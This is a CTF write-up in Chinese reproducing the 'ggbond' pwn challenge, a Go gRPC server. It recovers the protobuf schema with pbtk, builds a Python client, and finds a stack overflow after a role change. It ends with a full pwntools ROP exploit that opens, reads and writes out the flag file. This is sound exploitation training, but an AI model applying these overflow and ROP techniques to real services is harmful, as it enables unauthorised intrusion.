xctf-ggbond复现


题目是一点看不懂,网上找wp拼拼凑凑复现一下

题目给了一个docker和一个pow.py,加注释版pow.py

# 导入所需的库
import string
import itertools
import re
from pwn import *  # 用于网络连接和交互
from hashlib import sha256  # 用于计算SHA-256哈希值

# 目标服务器的IP地址和端口号(这里需要替换成实际的值)
remote_ip = ''
remote_port = 1337

# 解决PoW挑战的函数
def pow():
    # 建立到远程服务器的连接
    p = remote(remote_ip, remote_port)
    # 接收挑战字符串,直到遇到 ' == ',并解码成字符串格式
    rev = p.recvuntil(b' == ').decode()
    # 使用正则表达式从接收到的挑战中提取所需的字符串部分
    pattern = r'xxxx\+([a-zA-Z0-9]+)'
    rev = re.search(pattern, rev).group(1)
    # 接收目标摘要值
    target_digest = p.recv(64).decode()

    # 定义字符集合,用于生成所有可能的4字符组合
    characters = string.ascii_letters + string.digits
    # 生成所有可能的4字符组合
    all_combinations = [''.join(comb) for comb in itertools.product(characters, repeat=4)]
    # 遍历所有组合,寻找满足条件的字符串
    for comb in all_combinations:
        proof = comb + rev  # 拼接字符串
        digest = sha256(proof.encode()).hexdigest()  # 计算SHA-256哈希值
        if target_digest == digest:  # 检查哈希值是否与目标摘要匹配
            result = comb  # 如果匹配,保存结果
            break
    # 将找到的解决方案发送给服务器
    p.send(result) 
    
    # 接收下一步的连接指令
    p.recvuntil(b' nc ')
    rev = p.recvline().decode()
    # 使用正则表达式提取目标IP地址和端口号
    pattern = r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s(\d+)'
    result = re.search(pattern, rev)
    target_ip = result.group(1)
    target_port = int(result.group(2))
    sleep(3)  # 等待3秒
    return target_ip, target_port  # 返回目标IP地址和端口号
        
# 调用函数并保存结果
target_ip, target_port = pow()

Proof of Work (PoW) 是一种共识机制,它通过要求请求者完成一项计算工作来证明其请求的合法性。这段代码的主要作用是通过解决Proof of Work (PoW)来获取远程服务器指定的下一目标IP地址和端口号

运行pwn看看,监听了23334端口

$./pwn
2024/03/21 14:36:52 server listening at [::]:23334

docker/bin中有一个pwn文件,检查保护

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
FORTIFY:  Enabled

放到IDA里分析,是一个go程序(好好好,也是第一次写

469D80: using guessed type void __golang __noreturn start(char);

.gopclntab段存在以下内容

aGoogleGolangOr_353 db 'google.golang.org/grpc/internal/transport.(*http2Server).WriteHeader
aGoogleGolangOr_55 db 'google.golang.org/protobuf/internal/encoding/json.init',0

RPC (Remote Procedure Call)远程过程调用,允许一台计算机通过网络调用另一台计算机上的程序或函数,RPC框架通常负责打包(序列化)请求参数,传输消息,在服务器端解包(反序列化)参数,执行远程过程,并将结果返回给客户端

gRPC是由Google开发的现代开源高性能RPC框架,支持多种编程语言。gRPC默认使用Protocol Buffers(protobuf)作为接口定义语言(IDL)和其底层消息交换格式,提供了一种简洁高效的方式来定义服务和生成客户端和服务器代码

Protobuf(Protocol Buffers)Google开发的一种语言中立、平台中立、可扩展的序列化结构数据的方法,广泛用于通信协议和数据存储等多种场合

可以使用pbtk(Protobuf Toolkit)工具反编译和重新编译Google Protobufhttps://github.com/marin-m/pbtk

pbtk(Protobuf Toolkit)是一套成熟的脚本,可通过统一的 GUI 访问,它提供两个主要功能:

  • 从程序中提取Protobuf结构,将其转换回可替代的.proto
  • 通过方便的图形界面编辑、重播和模糊发送到 Protobuf 网络端点的数据

工具安装

sudo apt install python3-pip git openjdk-9-jre libqt5x11extras5 python3-pyqt5.qtwebengine python3-pyqt5

$ sudo pip3 install protobuf pyqt5 pyqtwebengine requests websocket-client

$ git clone https://github.com/marin-m/pbtk
$ cd pbtk
$ ./gui.py

选择step1pwn文件,在.pbtk文件夹中得到ggbond.proto,以下是加注释版

.proto 文件是使用 Protocol Buffers (protobuf) 定义数据结构的文本文件

// 指定使用protobuf的第三版语法
syntax = "proto3";

// 定义了一个包名GGBond,这有助于防止命名冲突,并可能被用于生成的代码包路径等
package GGBond;

// 指定生成的Go代码的包路径和包名,这里指示protoc生成的Go代码位于"./"目录下,包名为ggbond
option go_package = "./;ggbond";

// 定义一个服务GGBondServer,它包含了一个RPC方法Handler
service GGBondServer {
    // Handler方法接受一个Request类型的请求,并返回一个Response类型的响应
    rpc Handler(Request) returns (Response);
}

// 定义一个Request消息,包含一个名为request的oneof字段,表示请求可以是以下类型之一
message Request {
    // oneof关键字表示request字段只能设置其一
    oneof request {
        WhoamiRequest whoami = 100;          // Whoami请求
        RoleChangeRequest role_change = 101; // 角色变更请求
        RepeaterRequest repeater = 102;      // 重复器请求
    }
}

// 定义一个Response消息,包含一个名为response的oneof字段,表示响应可以是以下类型之一
message Response {
    oneof response {
        WhoamiResponse whoami = 200;          // Whoami响应
        RoleChangeResponse role_change = 201; // 角色变更响应
        RepeaterResponse repeater = 202;      // 重复器响应
        ErrorResponse error = 444;            // 错误响应
    }
}

// 定义WhoamiRequest消息类型,用于Whoami请求,不包含任何字段
message WhoamiRequest {}

// 定义WhoamiResponse消息类型,包含一个message字段,类型为string
message WhoamiResponse {
    string message = 2000; // 响应消息
}

// 定义RoleChangeRequest消息类型,包含一个role字段,类型为uint32
message RoleChangeRequest {
    uint32 role = 1001; // 请求中指定的角色
}

// 定义RoleChangeResponse消息类型,包含一个message字段,类型为string
message RoleChangeResponse {
    string message = 2001; // 响应消息
}

// 定义RepeaterRequest消息类型,包含一个message字段,类型为string
message RepeaterRequest {
    string message = 1002; // 请求中包含的消息
}

// 定义RepeaterResponse消息类型,包含一个message字段,类型为string
message RepeaterResponse {
    string message = 2002; // 响应消息
}

// 定义ErrorResponse消息类型,用于错误响应,包含一个message字段,类型为string
message ErrorResponse {
    string message = 4444; // 错误消息
}

重新编译Google Protobuf,这里需要先安装grpc_tools(编译.proto文件的gRPC插件,Protocol Buffers(Protobuf)编译器的Python版本),这样就得到了ggbond_pb2_grpc.pyggbond_pb2.py

pip install grpcio-tools
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ggbond.proto

ggbond_pb2_grpc.py:包含了grpc服务的Python代码,定义了服务和客户端类,这样就可以使用python应用程序实现和调用定义在.proto文件中的grpc服务,用于构建和部署grpc服务,可以在服务端实现这些类中定义的接口,并在客户端创建对应的存根来远程调用这些接口

# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc

import ggbond_pb2 as ggbond__pb2

#这个类是客户端存根,用于向gRPC服务发起调用
class GGBondServerStub(object):
    """Missing associated documentation comment in .proto file."""

    def __init__(self, channel):
        """Constructor.

        Args:
            channel: A grpc.Channel.
        """
        self.Handler = channel.unary_unary(
                '/GGBond.GGBondServer/Handler',
                request_serializer=ggbond__pb2.Request.SerializeToString,
                response_deserializer=ggbond__pb2.Response.FromString,
                )

#服务端的基类,用于实现.proto文件中定义的服务方法
class GGBondServerServicer(object):
    """Missing associated documentation comment in .proto file."""

    #服务端需要实现的业务逻辑
    def Handler(self, request, context):
        """Missing associated documentation comment in .proto file."""
        context.set_code(grpc.StatusCode.UNIMPLEMENTED)
        context.set_details('Method not implemented!')
        raise NotImplementedError('Method not implemented!')

#实现了GGBondServerServicer接口的服务添加到gRPC服务器
def add_GGBondServerServicer_to_server(servicer, server):
    rpc_method_handlers = {
            'Handler': grpc.unary_unary_rpc_method_handler(
                    servicer.Handler,
                    request_deserializer=ggbond__pb2.Request.FromString,
                    response_serializer=ggbond__pb2.Response.SerializeToString,
            ),
    }
    generic_handler = grpc.method_handlers_generic_handler(
            'GGBond.GGBondServer', rpc_method_handlers)
    server.add_generic_rpc_handlers((generic_handler,))

 #提供了一个静态方法,用于从客户端直接通过gRPC调用Handler服务方法
 # This class is part of an EXPERIMENTAL API.
class GGBondServer(object):
    """Missing associated documentation comment in .proto file."""

    @staticmethod
    def Handler(request,
            target,
            options=(),
            channel_credentials=None,
            call_credentials=None,
            insecure=False,
            compression=None,
            wait_for_ready=None,
            timeout=None,
            metadata=None):
        return grpc.experimental.unary_unary(request, target, '/GGBond.GGBondServer/Handler',
            ggbond__pb2.Request.SerializeToString,
            ggbond__pb2.Response.FromString,
            options, channel_credentials,
            insecure, call_credentials, compression, wait_for_ready, timeout, metadata)

ggbond_pb2.py:包含了.proto文件中定义的所有消息(Protobuf消息)的Python类,提供了消息的序列化和反序列化功能,以及对消息字段的访问方法,用于在python程序中使用.proto文件中定义的数据结构来存储数据、通信

# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: ggbond.proto
# Protobuf Python Version: 4.25.1
"""Generated protocol buffer code."""

#导入了几个用于处理protobuf消息的Python模块,这些模块包含了用于创建和管理protobuf描述符、符号数据库等的功能
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)

#创建一个符号数据库实例,用于注册和查找生成的protobuf消息和枚举类型
_sym_db = _symbol_database.Default()

#通过将protobuf定义序列化为二进制形式添加到描述符池中来注册GGbond.proto文件中定义的所有消息和枚举类型,以便在运行时能够通过名称查找和使用这些类型
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0cggbond.proto\x12\x06GGBond\"\x9c\x01\n\x07Request\x12\'\n\x06whoami\x18\x64 \x01(\x0b\x32\x15.GGBond.WhoamiRequestH\x00\x12\x30\n\x0brole_change\x18\x65 \x01(\x0b\x32\x19.GGBond.RoleChangeRequestH\x00\x12+\n\x08repeater\x18\x66 \x01(\x0b\x32\x17.GGBond.RepeaterRequestH\x00\x42\t\n\x07request\"\xcd\x01\n\x08Response\x12)\n\x06whoami\x18\xc8\x01 \x01(\x0b\x32\x16.GGBond.WhoamiResponseH\x00\x12\x32\n\x0brole_change\x18\xc9\x01 \x01(\x0b\x32\x1a.GGBond.RoleChangeResponseH\x00\x12-\n\x08repeater\x18\xca\x01 \x01(\x0b\x32\x18.GGBond.RepeaterResponseH\x00\x12\'\n\x05\x65rror\x18\xbc\x03 \x01(\x0b\x32\x15.GGBond.ErrorResponseH\x00\x42\n\n\x08response\"\x0f\n\rWhoamiRequest\"\"\n\x0eWhoamiResponse\x12\x10\n\x07message\x18\xd0\x0f \x01(\t\"\"\n\x11RoleChangeRequest\x12\r\n\x04role\x18\xe9\x07 \x01(\r\"&\n\x12RoleChangeResponse\x12\x10\n\x07message\x18\xd1\x0f \x01(\t\"#\n\x0fRepeaterRequest\x12\x10\n\x07message\x18\xea\x07 \x01(\t\"$\n\x10RepeaterResponse\x12\x10\n\x07message\x18\xd2\x0f \x01(\t\"!\n\rErrorResponse\x12\x10\n\x07message\x18\xdc\" \x01(\t2<\n\x0cGGBondServer\x12,\n\x07Handler\x12\x0f.GGBond.Request\x1a\x10.GGBond.ResponseB\x0bZ\t./;ggbondb\x06proto3')

#使用DESCRIPTOR来生成Python中的消息类和枚举,这些函数负责创建对应于.proto文件中定义的消息类型的Python类
_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'ggbond_pb2', _globals)
if _descriptor._USE_C_DESCRIPTORS == False:
  _globals['DESCRIPTOR']._options = None
  _globals['DESCRIPTOR']._serialized_options = b'Z\t./;ggbond'
  _globals['_REQUEST']._serialized_start=25
  _globals['_REQUEST']._serialized_end=181
  _globals['_RESPONSE']._serialized_start=184
  _globals['_RESPONSE']._serialized_end=389
  _globals['_WHOAMIREQUEST']._serialized_start=391
  _globals['_WHOAMIREQUEST']._serialized_end=406
  _globals['_WHOAMIRESPONSE']._serialized_start=408
  _globals['_WHOAMIRESPONSE']._serialized_end=442
  _globals['_ROLECHANGEREQUEST']._serialized_start=444
  _globals['_ROLECHANGEREQUEST']._serialized_end=478
  _globals['_ROLECHANGERESPONSE']._serialized_start=480
  _globals['_ROLECHANGERESPONSE']._serialized_end=518
  _globals['_REPEATERREQUEST']._serialized_start=520
  _globals['_REPEATERREQUEST']._serialized_end=555
  _globals['_REPEATERRESPONSE']._serialized_start=557
  _globals['_REPEATERRESPONSE']._serialized_end=593
  _globals['_ERRORRESPONSE']._serialized_start=595
  _globals['_ERRORRESPONSE']._serialized_end=628
  _globals['_GGBONDSERVER']._serialized_start=630
  _globals['_GGBONDSERVER']._serialized_end=690
# @@protoc_insertion_point(module_scope)

上面这么多看着还是云里雾里的,干脆让gpt写个例子

RepeaterRequest:

import grpc
import ggbond_pb2
import ggbond_pb2_grpc

def run():
    with grpc.insecure_channel('localhost:23334') as channel:
        stub = ggbond_pb2_grpc.GGBondServerStub(channel)
        response = stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message='world')))

        # 检查响应类型并相应地访问字段
        if response.HasField('whoami'):
            print("Client received (WhoamiResponse): " + response.whoami.message)
        elif response.HasField('role_change'):
            print("Client received (RoleChangeResponse): " + response.role_change.message)
        elif response.HasField('repeater'):
            print("Client received (RepeaterResponse): " + response.repeater.message)
        elif response.HasField('error'):
            print("Client received (ErrorResponse): " + response.error.message)
        else:
            print("Client received an unknown type of response")

if __name__ == '__main__':
    run()

运行结果:

$python3 run.py
Client received (RepeaterResponse): GGBOND: world

WhoamiRequest:

# 发送 WhoamiRequest
whoami_request = ggbond_pb2.WhoamiRequest()
request = ggbond_pb2.Request(whoami=whoami_request)
response = stub.Handler(request)

运行结果:

$python3 run.py   
Client received (WhoamiResponse): I'm GGBOND

RoleChangeRequest

role_change_request = ggbond_pb2.RoleChangeRequest(role=3)
request = ggbond_pb2.Request(role_change=role_change_request)
response = stub.Handler(request)

运行结果:

python3 run.py
Client received (RoleChangeResponse): New Role: SDaddy.

测试(看了wp后)发现changerole3RepeaterResponse存在栈溢出(面向wp复现了属于是

拼拼凑凑写个exp用于交互的函数

from pwn import *
import grpc
import ggbond_pb2
import ggbond_pb2_grpc

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_response(response):
    if response.HasField('whoami'):
        print("Client received (WhoamiResponse): " + response.whoami.message)
    elif response.HasField('role_change'):
        print("Client received (RoleChangeResponse): " + response.role_change.message)
    elif response.HasField('repeater'):
        print("Client received (RepeaterResponse): " + response.repeater.message)
    elif response.HasField('error'):
        print("Client received (ErrorResponse): " + response.error.message)
    else:
        print("Client received an unknown type of response")

def RepeaterRequest(content):
    with grpc.insecure_channel('localhost:23334') as channel:
        stub = ggbond_pb2_grpc.GGBondServerStub(channel)
        response = stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=content)))
        get_response(response)

def WhoamiRequest():
    with grpc.insecure_channel('localhost:23334') as channel:
        stub = ggbond_pb2_grpc.GGBondServerStub(channel)
        whoami_request = ggbond_pb2.WhoamiRequest()
        request = ggbond_pb2.Request(whoami=whoami_request)
        response = stub.Handler(request)
        get_response(response)

def RoleChangeRequest(num):
    with grpc.insecure_channel('localhost:23334') as channel:
        stub = ggbond_pb2_grpc.GGBondServerStub(channel)
        role_change_request = ggbond_pb2.RoleChangeRequest(role=num)
        request = ggbond_pb2.Request(role_change=role_change_request)
        response = stub.Handler(request)
        get_response(response)

r.interactive()

试试,role改成3发送0x100a,会报段错误

pwndbg> c
Continuing.

Thread 4 "pwn" received signal SIGSEGV, Segmentation fault.

而发送0x10a时:

Client received (RepeaterResponse): SDaddy: YBYB, YBBB.

加个from base64 import再编码后发0x100a看看,成功控制了返回地址

► 0x7ee053    ret    <0x6161616161616161>

查看rsp看看多了多少个a判断溢出需要的长度

pwndbg> x/20gx 0xc00016b6f0
0xc00016b6f0:	0x6161616161616161	0x6161616161616161
0xc00016b700:	0x6161616161616161	0x6161616161616161
0xc00016b710:	0x6161616161616161	0x6161616161616161
0xc00016b720:	0x6161616161616161	0x1010101010100000
pwndbg> p/x 0x100 - 0x38
$2 = 0xc8

最后orw,没开pie,看哪个地址顺眼找个地址orw,readwritefd都是连蒙带猜,exp运行的时候slepp(3)来再nc一个到23334端口,最后的write也是定位到了这里

$nc localhost 23334
@DubheCTF{fake_flag} a� J�@2� J��*� J��*�

exp

from pwn import *
from base64 import*
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import subprocess
import os

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('localhost', 23334)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def get_response(response):
    if response.HasField('whoami'):
        print("Client received (WhoamiResponse): " + response.whoami.message)
    elif response.HasField('role_change'):
        print("Client received (RoleChangeResponse): " + response.role_change.message)
    elif response.HasField('repeater'):
        print("Client received (RepeaterResponse): " + response.repeater.message)
    elif response.HasField('error'):
        print("Client received (ErrorResponse): " + response.error.message)
    else:
        print("Client received an unknown type of response")

def RepeaterRequest(content):
    with grpc.insecure_channel('localhost:23334') as channel:
        stub = ggbond_pb2_grpc.GGBondServerStub(channel)
        response = stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=content)))
        get_response(response)

def WhoamiRequest():
    with grpc.insecure_channel('localhost:23334') as channel:
        stub = ggbond_pb2_grpc.GGBondServerStub(channel)
        whoami_request = ggbond_pb2.WhoamiRequest()
        request = ggbond_pb2.Request(whoami=whoami_request)
        response = stub.Handler(request)
        get_response(response)

def RoleChangeRequest(num):
    with grpc.insecure_channel('localhost:23334') as channel:
        stub = ggbond_pb2_grpc.GGBondServerStub(channel)
        role_change_request = ggbond_pb2.RoleChangeRequest(role=num)
        request = ggbond_pb2.Request(role_change=role_change_request)
        response = stub.Handler(request)
        get_response(response)

tty = open("/dev/pts/1", 'wb', buffering=0)
process = subprocess.Popen(['nc', 'localhost', str(23334)], stdout=tty, stderr=tty)

RoleChangeRequest(3)

pop_rax_ret = 0x00000000004101e6
pop_rdi_ret = 0x0000000000401537
pop_rsi_ret = 0x0000000000422398
pop_rdx_ret = 0x0000000000461bd1
syscall = 0x000000000040452c
flag = 0x00000000007ef68d
addr = 0xC56400

p = b'a' * 0xc8
p += p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(flag) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall)
p += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(9) + p64(pop_rsi_ret) + p64(addr) + p64(pop_rdx_ret) + p64(0x100) + p64(syscall)
p += p64(pop_rax_ret) + p64(1) + p64(pop_rdi_ret) + p64(8) + p64(pop_rsi_ret) + p64(addr) + p64(pop_rdx_ret) + p64(0x100) + p64(syscall)

sleep(3)
RepeaterRequest(base64.b64encode(p))

r.interactive()

  目录